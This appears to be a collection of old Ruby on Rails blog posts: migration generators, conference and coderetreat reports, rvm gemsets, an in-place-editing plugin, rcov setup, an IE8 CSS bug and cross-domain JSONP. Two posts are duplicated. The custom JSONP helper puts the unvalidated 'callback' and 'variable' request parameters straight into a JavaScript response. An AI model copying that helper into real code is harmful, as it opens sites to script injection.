Create the folder lib\generators\my_gem\install and inside that folder create a file called install_generator.rb with the following code: [ruby] require 'rails/generators/migration' module YourGemName module Generators class InstallGenerator < ::Rails::Generators::Base include Rails::Generators::Migration source_root File.expand_path('../templates', __FILE__) desc "add the migrations" def self.next_migration_number(path) unless @prev_migration_nr @prev_migration_nr = Time.now.utc.strftime("%Y%m%d%H%M%S").to_i else @prev_migration_nr += 1 end @prev_migration_nr.to_s end def copy_migrations migration_template "create_something.rb", "db/migrate/create_something.rb" migration_template "create_something_else.rb", "db/migrate/create_something_else.rb" end end end end [/ruby] The function next_migration_number makes sure each migration gets a unique number (even if they are all added in the same second).

add the migration templates

Inside the lib/generators/my_gem/install/templates add your two files containing the migrations. Let us define the one named create_something.rb : [ruby] class CreateSomething < ActiveRecord::Migration def self.up create_table :abilities do |t| t.string :name t.string :description t.boolean :needs_extent t.timestamps end end def self.down drop_table :abilities end end [/ruby] You can define the other examples as you wish.

run the migrations

When your gem is added to some app, you can just do : [ruby] rails g my_gem:install rake db:migrate [/ruby] Hope this helps.
coderetreat with Corey Haines
After RubyAndRails 2010 there was a coderetreat, and i had read two blog posts about it, and got really interested. So when i learned that coderetreat was coming to Belgium, i subscribed. Coderetreat as a concept was conceived by Corey Haines and a few friends, as a single full-day retreat doing nothing but practicing code writing. Actually, practicing performing TDD. The reasoning behind it is quite simple: if musicians need to practice to get perfect, why don't we? Musicians practice small parts over and over again, to get it right. I played volleyball, and we also practiced each single movement, so that during a game you wouldn't have to think twice how to bend your knees, hold your hands, place your feet, approach the net ... But as programmers we are almost always producing. And of course, there is experience that makes up for that. But while i am an experienced programmer, i am not an experienced TDD'er. So i could use some practice :) A coderetreat starts at about 8, and is filled with 5-6 sessions of about 45 minutes during which you try to solve a well-known problem together with another programmer, as a pair. The pairing is essential. After 45 minutes you delete the code, discuss the chosen paths, options, viewpoints, switch pairs, and off you go again. The problem we try to solve is Conway's game of life. A relatively simple problem, but just too big to solve in 45 minutes. My main reason to go was that i still struggle doing full-on TDD, and i really want to do that. At work I have paired intensively for a few weeks and done TDD and that was really instructive. Yet, on my own, i too easily slip back to designing, thinking of the solution, coding and then writing tests. What I expected was to get some kind of magic insight, to completely 'get' it :) Let me explain that in more detail. The game of life, while it's rules are quite simple, has to be translated to tests, and then to code. This process is still somewhat gray to me. What the day did teach me is that the way you write the tests, can definitely drive the design. And actually, when starting with a new problem, i can also imagine you really need a few iterations starting to get the correct tests to correctly identify the problem. A teacher once told me that once you find a certain solution to a problem, you definitely have to find a second solution, then select the best of both. That would make sure you don't have the worst solution ;) I always take this approach in my designs, but almost never in my code. But actually, if the tests drive the design, i can imagine it is indeed really helpful to really try some different approaches. And doing lots of these exercises will learn you to make the right decisions quicker. The first two sessions were just getting accustomed to the problem. The problem is so different from what we solve everyday, that it is pretty hard to get your head round it. In between every session Corey asks what we tried, and then highlights some key-points to consider, mainly the SOLID principles and the 4 rules of simple design. That really helps you focus, change perspective and allows you to explore different paths. While in the second and third session, we were really close to actually solving it, or so it felt, the more we knew, the harder it got ;) Corey did an amazing job, guiding us through the day. He mostly let us do our work, and like a good therapist he sometimes just asked questions so we could find the answers ourselves. Corey also pointed us to a very good explanation on his blog on the difference between Test First and Test Driven development by JB Rainsberger. I found it very enlightening, and also very supportive. What i do now ressembles closest to Test First, and i want to get at the Test Driven approach. And i will :) The complete day was just an awesome experience. So many people in one room, all willing to learn and share and get better at what we do. It was sometimes very humbling. I believed i was good at what i did, but i was wrong. There is so much room for improvement. But it makes me want to learn and improve. What also was humbling is the time and energy and knowledge Corey shared. I really enjoyed all the conversations in between the sessions, meeting the people. I really enjoyed the pairing, while at times i could also find it very hard as well. I did not work equally well with everybody. That also is something i need to work on. There was a nice mix of languages: most c#, some java, some ruby. I saw that much of the principles we use in ruby, are now also easily used in c#. But i did not need to do c# a lot, because most people wanted to give ruby a try. And a lot of people were impressed. That was very nice ;) So i am really buzzed now. I want to do more. I want to learn more. I want to practice. I want to teach. Spread the word. I want to do this at work more. I want my code to be better. To conclude i want to repeat something Corey said: we have the best job in the world. Every time we type, we create something where there first was nothing. That is amazing. That is a gift. For a moment, do not think about the requirements, the documents, your team-members and your boss and your clients, but remember why we got here in the first place: because we really liked coding. Because when we were young we just coded for fun. And it was fun. It can be fun. So make it fun again. That is something i want to keep with me. Since i switched to ruby it comes more easily to me, but still ... Have a look at the pictures and try to spot me ;) (hint: i am wearing the yellow t-shirt). Here is another impression from the same day. I hope to see you next time ;)
Arrrrcamp 29/10/2010
The fourth and most international of all arrrrcamp editions. Also the first paying edition. As i said in my post about the previous edition, i have been to all editions, and it is awesome to see how it has grown. The schedule was amazing, with an amazing array of international speakers, of which for me especially Yehuda Katz i looked forward to. The biggest problem i had was that two of my collegues gave a talk at the same time, both of which i wanted to see. Choices choices choices :) Let me give a quick impression of the talks i did see:

Keynote by Carl Lerche:

To be frank, i had totally no idea who Carl was. But his talk was very nice, talking about the speed improvements Rails does, under the covers, unknown at least to me, to get your site visible as soon as possible. Also the speed improvements they will take in the next version 3.1 and 3.2 to improve this even further. In short, they look for ways to serve the HTML so that a browser can download the page and all the assets quicker. Very new to me, touched some very interesting subjects as automatic spriting, the cache manifest ... But in the end, there is one thing that Rails can't solve: latency. That is the core time it takes to reach a server and get back to the client. A mere ping. If you want to reduce latency, you either make sure your servers are really close to all clients, ... or ... you work in a different way, and let your client handle more stuff. In short: using a minimal HTML which is only downloaded once, using the cache manifest and lots of javascript: back to client side code? Hold that thought, we'll come back to that later.

Escaping the Sludgy Swamp of Slow Tests by Joseph Wilk

This is a problem we are getting into at work. We try to solve that by running our tests in parallel. Joseph explains the routes they had taken in their team.
  • First off: use a lot of EC2 instances to reduce time. They went from 4hours build time to 11minutes, cheering developers, but very angry boss :) EC2 is not cheap!
  • So then they introduced some kind of low-level caching, which will cache sequences of SQL commands and returned a cached result. This sounds very interesting as that is what you see most in tests: a lot of similar db-setup to actually test something small.
  • Thirdly a great idea was to divide your tests into different sets, and only run those that are most likely to fail. Those that always succeed you only run nightly, and the ones that sometimes fail you also seperate so you can more easily test those, check loggings, and hopefully fix them.
I also remembered the suggestions to use capybara together with env.js to be able to test your javascript pages quicker. Good tips, and i especially like the graphics (and humour) on the slides :D

Refactoring++ : Refactor Everything A.T.F.T by Alain Ravet

A talk by a collegue of mine (had to miss Elise's talk, bummmmer, but her talk is recorded so i hope to see that later). I know most of his refactoring tips, because we have paired extensively and i have learned a lot by doing that. Alain took a small piece of code from the internet, an example to solve the Towers of Hanoi: the code was small and compact and seemed to be ok. But then Alain was able to find and show a lot of improvements. That was great. Aside from the standard refactorings (from the book) Alain also stressed the scanability of the code. This is also a pet-pieve of mine. Code has to be formatted nicely and correctly. In teams it is preferred that classes follow a bit the same structure, e.g. inside rails it is easy to make agreements where to expect the filters, constructors, public methods, ... Also Alain stressed the point to know your tools and your language. Ruby is a very expressive and compact language: use that to your benefit! Know the tool you are using, whether it is Rubymine, Textmate or VIM. And practice. Do code kata's, download some code and refactor-refactor-refactor.

Making it an Anti-Pattern is Not Enough by Timothy Payton and Sebastian Roebke :

I saw these guys last time, and i was very impressed by them at that time. Probably because what they said struck a chord, and matched my own experiences. This time, i found them less persuasive. I think maybe because my expectations were too high, they re-iterated a lot they said last time (or so it felt), the title was not explained anywhere (or i missed that), and i guess they were also having troubles with the single microphone (being two speakers) that made them more uncomfortable. Still a very nice talk, and Xing seems to be a very nice place to work.

Lightning Talks

  • Friendly attributes: apparently, in mysql, adding a columns is a very expensive operation. So this guy looked for alternatives, and came up with friendly attributes. This could be a very nice tool for someone if you are forced to use MySql (e.g. by your hosting provider). Otherwise i would suggest to use Postgresql.
  • A postgres textsearch without any extra server: this seemed very interesting and promising, but also very non-existant at the moment. He was in the process of turning it into a gem. Wait and see.
  • Yehuda's 10 minutes about concurrency in MRI: inspired by Elise's talk about concurrency, Yehuda dug a bit deeper into MRI threads and possible advantages. Unfortunately none of the big servers (passenger or unicorn) make any use of that. Only thin --threaded would profit from that. This really was a lightning talk! A lot of information in a short span, very interesting!
  • @Defv's recipe for a good rails rumble: after his third Rails Rumble Jan gave us the recipe: 1) a knock-out idea but simple enough so any visitor/judge would get it, simple enough to implement in 48 hours, and 2) good design. With the next emphasis being: simple! simple! simple! Reminds me a bit of what 37signals always says.
  • Wicegrid: i have used this grid in a few big projects i did, and really liked it. Nice that Yuri showed it, hope some more people start using it.
  • Restart of BRUG: this was nice news too. I have seen that amsterdam.rb and rotterdam.rb exist, and was wondering why we don't have such a "working" thing in Belgium. But the guys from Openminds offered to revive it, they will support the first three sessions, and then other sponsors would need take over (volunteers from the public immediately jumped in). Meetings would take place in different cities, so i am very curious how this would work out. That would be very nice ;)

Closing Keynote by Yehuda Katz:

Yehuda recently switched jobs, and together with Carl Lerche they are now both actively working on a framework called Sproutcore. In short, Sproutcore (or SC) is a javascript MVC framework. So, MVC on the client. In the talk from Carl we learned that the big problem is latency, so one way to improve or remove that, is instead of developing your web-application in the Rails way, is to use a more client-centric way. Yehuda then showed us a few moving parts of Sproutcore, which he intends to extract in seperate libraries so you could use them more easily. They also stressed that Carl and Yehuda are aiming for a very tight integration with Rails in the future. Altough it is not entirely sure what or how that will be be. You would be using Rails to just serve json-data. Rails still has its very strong points to be used in the backend for something like that. His talk left me a bit baffled, to be honest. The big advantage for me of the Rails framework is that there is one language, one platform to develop in, to cover both server and client side. That is a big advantage. It is also a big advantage compared to using AIR or Silverlight on the client, because you remove the duplication of all the models on both sides (in Rails you only need them on server side). That said, i do believe the future lies in heavier clients, like gmail and twitter shows us. The bindings that Yehuda showed, reminded my very much of the bindings offered in WPF and Silverlight. Possible advantages of Silverlight: with Ironruby you have the option to run ruby in the client as well. But, as the video-section of arrrrcamp themselves show: Silverlight it is not ready for all platforms. It does not work on my ubuntu 10.10. I am thinking now would be a good time to revive the idea of a ruby vm on javascript. In no specific order:
  • Hotruby was very promising but seems dead. With the speed improvements in current javascript vm's it would seem awesome to get some ruby on javascript too.
  • rubyjs: compiles ruby to javascript to be run in the browser
  • Js.class could be an alternative approach: use the classes and paradigms of ruby in javascript.
  • red: writes like ruby and runs like javascript
  • coffeescript: not quite ruby, that compiles into javascript
I will dig into these alternatives in a later post :) The biggest advantage of sproutcore over extjs, AIR or Silverlight is that sproutcore is truly open source. Exciting times ahead :)

To conclude

As usual I really enjoyed arrrrcamp, the organisation was great, i enjoyed seeing and talking to a lot like-minded people, and the talks were really though-provoking this year. Setting sail to the next edition!
I am developing several rails projects. Some are still rails 2.3.9, and some are rails3. But using those at the same time, on the same machine can cause some trouble. I use bundles for all my projects, so the gem dependencies are managed. But still, somehow, when running my tests, i get into trouble. If i run spec, it complains that it is deprecated. Rubymine doesn't support running tests in my rails 2 project. The solution? Use gemsets! Gemsets are a feature from rvm, the Ruby Version Manager. But with gemsets rvm does more than just manage your ruby version! A gemset is a set of gems, which you can switch at will. So i am using a gemset per project. Creating a gemset is easy: [ruby] rvm gemset create some_name [/ruby] Using a gemset is equally simple: [ruby] rvm gemset use some_name [/ruby] Showing which gemset is in use: [ruby] rvm gemset name [/ruby] Showing the list of possible gemsets [ruby] rvm gemset list [/ruby] By default, you are using an unnamed gemset, which contains all the gems for your ruby-version. Per project you can create a new gemset. Per gemset you have to re-install your gems, but luckily, using bundler, that is as simple as doing bundle install. Now comes the good part:
  • Rubymine supports using gemsets, so you can select your gemset to work with, and each time your project is opened, it uses the correct gemset and the correct corresponding scripts (e.g. spec)
  • If you place a .rvmrc file in your project-folder containing rvm default@projecta, every time you cd into that folder it will select the default ruby and the projecta gemset. Awesome!
in-place-editing in rails3
On-the-spot is a Rails3 compliant unobtrusive javascript in-place-editing plugin, using jEditable. As this jEditable depends on jQuery, you have to install that first. How to setup a fresh rails3 site with jquery is explained in this post. In short it is easy: [ruby] gem "jquery-rails" [/ruby] Run the installation task: [ruby] rails g jquery:install [/ruby]

Installation

Inside your Gemfile add the following: [ruby] gem "on_the_spot" [/ruby] Run the installation task: [ruby] rails g on_the_spot:install [/ruby] Inside your `routes.rb` you need to provide the following route: [ruby] resources :posts do collection do put :update_attribute_on_the_spot end end [/ruby] You need to do this for each controller that uses the on-the-spot editing (in this example for the PostsController). For the moment i do not know of any better solution, but i am always open for suggestions! Inside your application.html.haml you will need to add below the default javascripts: [ruby] = javascript_include_tag :on_the_spot [/ruby] or using erb, you write [ruby] < %= javascript_include_tag :on_the_spot %> [/ruby] That is all you need to do to start using it!

Usage

Inside your controller you write: [ruby] class YourController < ApplicationController can_edit_on_the_spot ... leave the rest of your controller alone ... end [/ruby] And inside your view you will have to specify the fields you want to be "editable" : [ruby] Username: <%= on_the_spot_edit @user, :name %> [/ruby] It should be as simple as that :)

Detailed options

The on_the_spot_edit also accepts options:
  • :type : :textarea or select (none means default edit)
  • :ok_text : the text for the ok-button
  • :cancel_text : the text for the cancel-button
  • :tooltip : the tooltip-text
  • :rows : for textarea, the number of rows, defaults to 5
  • :columns : for textarea, the number of columns, defaults to 40
  • :data : for select, the lookup-data, should be in an array of id-value pairs. E.g. [[1, 'ok'], [2, 'not ok'], [3, 'not decided']].
For the texts: if a text is not specified, the default is taken from the `on_the_spot.en.yml` (or your current language).

Examples

Edit field

[ruby] < %= on_the_spot_edit @user, :name %> [/ruby]

Textarea

[ruby] < %= on_the_spot_edit @user, :description, :type => :textarea, :rows => 10, :columns => 55 %> [/ruby]

Select-box

[ruby] < %= on_the_spot_edit @user, :rating, :type => :select, :data => [[1, 'good'], [2, 'mediocre'], [3, 'bad']] %> [/ruby]

Example project

There is an example rails3-project called on_the_spot_tester, where this is demonstrated in action. Let me know what you think.On-the-spot is a Rails3 compliant unobtrusive javascript in-place-editing plugin, using jEditable.

Installation

Inside your Gemfile add the following: [ruby] gem "on_the_spot" [/ruby] Run the installation task: [ruby] rails g on_the_spot:install [/ruby] Inside your `routes.rb` you need to provide the following route: [ruby] resources :posts do collection do post :update_attribute_on_the_spot end end [/ruby] You need to do this for each controller that uses the on-the-spot editing (in this example for the PostsController). For the moment i do not know of any better solution, but i am always open for suggestions! Inside your application.html.haml you will need to add below the default javascripts: [ruby] = javascript_include_tag :on_the_spot [/ruby] or using erb, you write [ruby] < %= javascript_include_tag :on_the_spot %> [/ruby] That is all you need to do to start using it!

Usage

Inside your controller you write: [ruby] class YourController < ApplicationController can_edit_on_the_spot ... leave the rest of your controller alone ... end [/ruby] And inside your view you will have to specify the fields you want to be "editable" : [ruby] Username: <%= on_the_spot_edit @user, :name %> [/ruby] It should be as simple as that :)

Detailed options

The on_the_spot_edit also accepts options:
  • :type : :textarea or select (none means default edit)
  • :ok_text : the text for the ok-button
  • :cancel_text : the text for the cancel-button
  • :tooltip : the tooltip-text
  • :rows : for textarea, the number of rows, defaults to 5
  • :columns : for textarea, the number of columns, defaults to 40
  • :data : for select, the lookup-data, should be in an array of id-value pairs. E.g. [[1, 'ok'], [2, 'not ok'], [3, 'not decided']].
For the texts: if a text is not specified, the default is taken from the `on_the_spot.en.yml` (or your current language).

Examples

Edit field

[ruby] < %= on_the_spot_edit @user, :name %> [/ruby]

Textarea

[ruby] < %= on_the_spot_edit @user, :description, :type => :textarea, :rows => 10, :columns => 55 %> [/ruby]

Select-box

[ruby] < %= on_the_spot_edit @user, :rating, :type => :select, :data => [[1, 'good'], [2, 'mediocre'], [3, 'bad']] %> [/ruby]

Example project

There is an example rails3-project called on_the_spot_tester, where this is demonstrated in action. Let me know what you think.
getting rcov working with rspec 2.0.0.rc
I had troubles to get rcov working with the latest rspec2 release (since beta23 and now 2.0.0.rc). I got the same error every time: [bash] `require': no such file to load -- spec_helper (LoadError) [/bash] But luckily, somebody found the problem and it is extremely easy to fix. Just add -Ispec to your rcov task. The rake spec:rcov does not work for me (as it needs to be fixed). So i added my own task (add this code to the end of Rakefile or add in a seperate file rcov.rake inside lib/tasks) : [ruby] desc "Run all specs with rcov" RSpec::Core::RakeTask.new("test_cov") do |t| t.rcov = true t.rcov_opts = %w{--rails --include views -Ispec --exclude gems\/,spec\/,features\/,seeds\/} end [/ruby] and then you can run the task by typing [bash] > rake test_cov [/bash] in your rails root folder.
ie8 css can't find my id
I was having this weird problem in IE8. My page was rendered correctly in Chrome and Firefox, but not in IE8. This was a bit weird, as it was pretty standard stuff, i had some form-styling, something like this: [css] form#some_long_id4test .example { font-style: italic; } form#some_long_id4test>div { clear:left; padding:5px; } form#some_long_id4test label { width:160px; display:block; float:left; } form#some_long_id4test .field-el { float:left; display:block; } form#some_long_id4test input[type='submit'] { margin-right:160px; margin-top: 20px; height:25px; padding-left:15px; padding-right:15px; } form#some_long_id4test .field-el .field-with-errors { color:red; } form#some_long_id4test #feedback_container { clear:both; margin-top: 20px; display:block; } form#some_long_id4test #fix_button { margin-top:-10px; padding-left:165px; } [/css] Seems pretty obvious. Why didn't it work? After a long search, trying stuff out, trying to rewrite my css to get it working, i saw my error. Once found it was very obvious: in my ruby-view i had the following: [ruby] <% form_for @form, :html => {:multipart => true, :id => "some_long_id4test "} do |f| [/ruby] Wow! So my id is actually some_long_id4test with an added newline! Apparently IE8 thinks that some_long_id4test and some_long_id4test\n are not equal (which is not unlogical). It is sometimes so hard, confusing, difficult that all these browsers behave different.
rails3 doing cross-browser json
I have two rails applications that communicate together. In the first application i have the following method in my controller: [ruby] def delivery_status envelope = Envelope.find(params[ : id]) render : json => envelope.to_json end [/ruby] which, if go to the url in my browser, nicely shows my the JSON. Seems ok. However, if i call this through jQuery, from my second application, using the following: [javascript] $(document).ready(function(){ $('.get_sms_details').live('click', function(event) { var el = $(this), data_url = el.attr('data-url'); $.ajax({ url: data_url, dataType: 'text', success: function(data, status, req) { alert('received with status' + status) alert('received json ' + data); } }); }); }); [/javascript] then the right url is hit with the correct parameters but data is always empty. I first tried using $.getJSON, then $.get to end at $.ajax. I am not sure but it seemed i was doing something wrong at server-side. The request looked fine inside firebug, but the response was always empty. Yet, i did not understand, if let the browser hit the same url, i got my json object. So how do you solve this? Well, i was reading the documentation of $.ajax, and there i found:
When data is retrieved from remote servers (which is only possible using the script or jsonp data types), the operation is performed using a script tag rather than an XMLHttpRequest object.
So, jsonp was the way, but how? First, i changed my jQuery code: [sourcecode language="javascript"] $(document).ready(function(){ $('.get_sms_details').live('click', function(event) { var el = $(this), data_url = el.attr('data-url'); data_url = data_url $.ajax({ url: data_url, dataType: 'jsonp', success: function(data) { envelope = data.envelope; alert('received envelope ' + data.envelope.id); } }); }); }); [/sourcecode] but then my server-side needed to be able to handle the jsonp. I handled that using the following code: [ruby] def delivery_status envelope = Envelope.find(params[ :id]) render_json envelope.to_json(:include => [: deliveries, : log_lines]) end private # render json, but also allow JSONP and handle that correctly def render_json(json, options={}) callback, variable = params[:callback], params[:variable] logger.debug("render json or jsonp? Callback = #{callback}, Variable=#{variable}") response = begin if callback &amp;amp;&amp;amp; variable "var #{variable} = #{json};\n#{callback}(#{variable});" elsif variable "var #{variable} = #{json}" elsif callback "#{callback}(#{json});" else json end end render({:content_type => :js, :text => response}.merge(options)) end [/ruby] Where the render_json does all the dirty work for me :) I was somewhat expecting this to be standard inside rails3, and as Kevin Chiu pointed out in the comments, it is and much simpler at that: [ruby] def delivery_status envelope = Envelope.find(params[ :id]) render :json => envelope.to_json(:include => [: deliveries, : log_lines]), :callback => params[:callback] end [/ruby] Awesome :)I have two rails applications that communicate together. In the first application i have the following method in my controller: [ruby] def delivery_status envelope = Envelope.find(params[ : id]) render : json => envelope.to_json end [/ruby] which, if go to the url in my browser, nicely shows my the JSON. Seems ok. However, if i call this through jQuery, from my second application, using the following: [javascript] $(document).ready(function(){ $('.get_sms_details').live('click', function(event) { var el = $(this), data_url = el.attr('data-url'); $.ajax({ url: data_url, dataType: 'text', success: function(data, status, req) { alert('received with status' + status) alert('received json ' + data); } }); }); }); [/javascript] then the right url is hit with the correct parameters but data is always empty. I first tried using $.getJSON, then $.get to end at $.ajax. I am not sure but it seemed i was doing something wrong at server-side. The request looked fine inside firebug, but the response was always empty. Yet, i did not understand, if let the browser hit the same url, i got my json object. So how do you solve this? Well, i was reading the documentation of $.ajax, and there i found:
When data is retrieved from remote servers (which is only possible using the script or jsonp data types), the operation is performed using a script tag rather than an XMLHttpRequest object.
So, jsonp was the way, but how? First, i changed my jQuery code: [sourcecode language="javascript"] $(document).ready(function(){ $('.get_sms_details').live('click', function(event) { var el = $(this), data_url = el.attr('data-url'); data_url = data_url $.ajax({ url: data_url, dataType: 'jsonp', success: function(data) { envelope = data.envelope; alert('received envelope ' + data.envelope.id); } }); }); }); [/sourcecode] but then my server-side needed to be able to handle the jsonp. I handled that using the following code: [ruby] def delivery_status envelope = Envelope.find(params[ :id]) render_json envelope.to_json(:include => [: deliveries, : log_lines]) end private # render json, but also allow JSONP and handle that correctly def render_json(json, options={}) callback, variable = params[:callback], params[:variable] logger.debug(&quot;render json or jsonp? Callback = #{callback}, Variable=#{variable}&quot;) response = begin if callback && variable &quot;var #{variable} = #{json};\n#{callback}(#{variable});&quot; elsif variable &quot;var #{variable} = #{json};&quot; elsif callback &quot;#{callback}(#{json});&quot; else json end end render({:content_type => :js, :text => response}.merge(options)) end [/ruby] Where the render_json does all the dirty work for me :) I was somewhat expecting this to be standard inside rails3, but apparently it isn't. Are there any better ways to handle this?